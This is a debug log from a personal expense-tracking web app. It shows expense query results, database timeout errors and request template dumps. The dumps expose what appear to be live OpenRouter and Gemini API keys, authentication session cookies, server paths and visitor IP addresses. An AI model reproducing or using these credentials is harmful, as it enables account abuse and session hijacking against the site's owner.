      purchase_date: '2023-05-20T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'Ice Cream',
      unit: 'Other'
    },
    {
      invoice_number: 760,
      quantity: '1.00',
      purchase_date: '2023-05-05T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '1675.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 642,
      quantity: '1.00',
      purchase_date: '2023-04-01T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '2850.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 602,
      quantity: '1.00',
      purchase_date: '2022-08-06T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '3250.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 594,
      quantity: '1.00',
      purchase_date: '2022-04-02T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '3045.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 597,
      quantity: '1.00',
      purchase_date: '2022-04-02T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '645.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 587,
      quantity: '1.00',
      purchase_date: '2022-03-05T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '2250.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 573,
      quantity: '1.00',
      purchase_date: '2021-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '1450.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 358,
      quantity: '1.00',
      purchase_date: '2021-02-05T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '52.00',
      item_name: 'Ghade Detergent',
      unit: 'Packet'
    },
    {
      invoice_number: 231,
      quantity: '3.00',
      purchase_date: '2020-10-10T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '147.00',
      item_name: 'Ghade Detergent',
      unit: 'KG'
    },
    {
      invoice_number: 190,
      quantity: '1.00',
      purchase_date: '2020-08-07T18:30:00.000Z',
      receipt_url: null,
      remark: 'NULL Entry',
      amount: '0.00',
      item_name: 'Maxo refill',
      unit: 'Piece'
    }
  ]
}
2026-03-11T09:51:43.610Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:43.610Z server-connect:app Executing action step identify
2026-03-11T09:51:43.610Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:43.610Z server-connect:output identity: 1
2026-03-11T09:51:43.610Z server-connect:app Executing action step restrict
2026-03-11T09:51:43.610Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:43.611Z server-connect:output restrict: undefined
2026-03-11T09:51:43.611Z server-connect:app Executing action step paged
2026-03-11T09:51:43.611Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:43.620Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 3,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      invoice_number: 1040,
      quantity: '1.00',
      purchase_date: '2024-04-30T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'JIO Recharge',
      unit: 'Other'
    },
    {
      invoice_number: 822,
      quantity: '1.00',
      purchase_date: '2023-05-20T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '0.00',
      item_name: 'Ice Cream',
      unit: 'Other'
    },
    {
      invoice_number: 190,
      quantity: '1.00',
      purchase_date: '2020-08-07T18:30:00.000Z',
      receipt_url: null,
      remark: 'NULL Entry',
      amount: '0.00',
      item_name: 'Maxo refill',
      unit: 'Piece'
    }
  ]
}
2026-03-11T09:51:44.906Z server-connect:router Serving serverConnect /api/expense/list
2026-03-11T09:51:44.906Z server-connect:app Executing action step identify
2026-03-11T09:51:44.906Z server-connect:app options: { provider: 'security' }
2026-03-11T09:51:44.907Z server-connect:output identity: 1
2026-03-11T09:51:44.907Z server-connect:app Executing action step restrict
2026-03-11T09:51:44.907Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-11T09:51:44.907Z server-connect:output restrict: undefined
2026-03-11T09:51:44.907Z server-connect:app Executing action step paged
2026-03-11T09:51:44.907Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-11T09:51:44.917Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-11 11:29:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-11 11:29:06' as DATETIME)"
}
2026-03-11T12:12:27.181Z server-connect:router Serving templateView /
2026-03-11T12:12:27.182Z server-connect:app Executing action step identify
2026-03-11T12:12:27.182Z server-connect:app options: { provider: 'security' }
2026-03-11T12:12:27.182Z server-connect:auth No login cookie found
2026-03-11T12:12:27.183Z server-connect:output identity: false
2026-03-11T12:12:27.183Z server-connect:app Executing action step restrict
2026-03-11T12:12:27.183Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-11T12:12:27.183Z server-connect:output restrict: undefined
2026-03-11T12:12:27.350Z server-connect:router Serving templateView /login
2026-03-11T12:12:27.350Z server-connect:app Executing action step identify
2026-03-11T12:12:27.350Z server-connect:app options: { provider: 'security' }
2026-03-11T12:12:27.350Z server-connect:auth No login cookie found
2026-03-11T12:12:27.350Z server-connect:output identity: false
2026-03-11T12:12:27.351Z server-connect:router Render template layouts/authentication
2026-03-11T12:12:27.351Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '184.32.71.168',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T12:12:27.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '184.32.71.168',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '184.32.71.168',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-11 13:51:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-11 13:51:06' as DATETIME)"
}
2026-03-12T03:46:08.089Z server-connect:router Serving templateView /
2026-03-12T03:46:08.091Z server-connect:app Executing action step identify
2026-03-12T03:46:08.091Z server-connect:app options: { provider: 'security' }
2026-03-12T03:46:08.091Z server-connect:output identity: 1
2026-03-12T03:46:08.091Z server-connect:app Executing action step restrict
2026-03-12T03:46:08.091Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-12T03:46:08.094Z server-connect:output restrict: undefined
2026-03-12T03:46:08.094Z server-connect:app Executing action step restrict
2026-03-12T03:46:08.094Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-12T03:46:08.094Z server-connect:output restrict: undefined
2026-03-12T03:46:08.094Z server-connect:router Render template layouts/main
2026-03-12T03:46:08.095Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.714Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-12T03:52:10.181Z server-connect:router Serving templateView /
2026-03-12T03:52:10.181Z server-connect:app Executing action step identify
2026-03-12T03:52:10.181Z server-connect:app options: { provider: 'security' }
2026-03-12T03:52:10.181Z server-connect:output identity: 1
2026-03-12T03:52:10.181Z server-connect:app Executing action step restrict
2026-03-12T03:52:10.181Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-12T03:52:10.183Z server-connect:output restrict: undefined
2026-03-12T03:52:10.183Z server-connect:app Executing action step restrict
2026-03-12T03:52:10.183Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-12T03:52:10.184Z server-connect:output restrict: undefined
2026-03-12T03:52:10.184Z server-connect:router Render template layouts/main
2026-03-12T03:52:10.184Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'u=0, i',
